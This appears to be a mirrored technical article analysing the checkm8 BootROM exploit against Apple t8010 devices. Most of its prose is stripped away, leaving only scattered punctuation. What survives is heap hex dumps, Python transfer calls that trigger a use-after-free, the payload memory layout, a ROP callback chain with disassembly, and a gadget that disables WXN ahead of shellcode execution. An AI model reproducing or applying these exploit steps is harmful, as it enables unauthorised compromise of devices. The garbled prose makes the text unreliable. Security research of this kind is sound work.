000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

, High Speed Full Speed , IO -. , , , . , .


2. IO-


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .


3. usb_device_io_request use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

usb_device_io_request t8010_overwrite , .


t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .


t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .


4.


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

. :


 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

USB usb_device_io_request . , callback . :


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

, 0x70 . f(x) f x .


, Unicorn Engine . uEmu .



iPhone 7 .


5.1 dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

. , .


5.2 dmb


 0000000100000478: DMB SY 000000010000047C: RET 

, , . , , .


5.3 enter_critical_section()


.


5.4 write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5 tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

, .


5.6 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never), RW . WXN - .


5.7 write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 . BootROM , INSECURE_MEMORY .


5.8 tlbi


.


5.9. exit_critical_section()


.


5.10. 0x1800B0000


shellcode .


, callback-chainWXN shellcode RW -.


6. shellcode


shellcode src/checkm8_arm64.S :


6.1 USB -


usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .


6.2 USBSerialNumber


- , " PWND:[checkm8]" . , .


6.3 USB -


USB - , .


6.4. USB - TRAMPOLINE ( 0x1800AFC00 )


USB - wValue 0xffff , , . , : memcpy , memset exec ( ).


.


USB


Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .




. checkm8 . , . jailbreak-. , jailbreak checkm8checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .


jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .


Referências


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. ipwndfu LinusHenze

Source: https://habr.com/ru/post/pt471668/


All Articles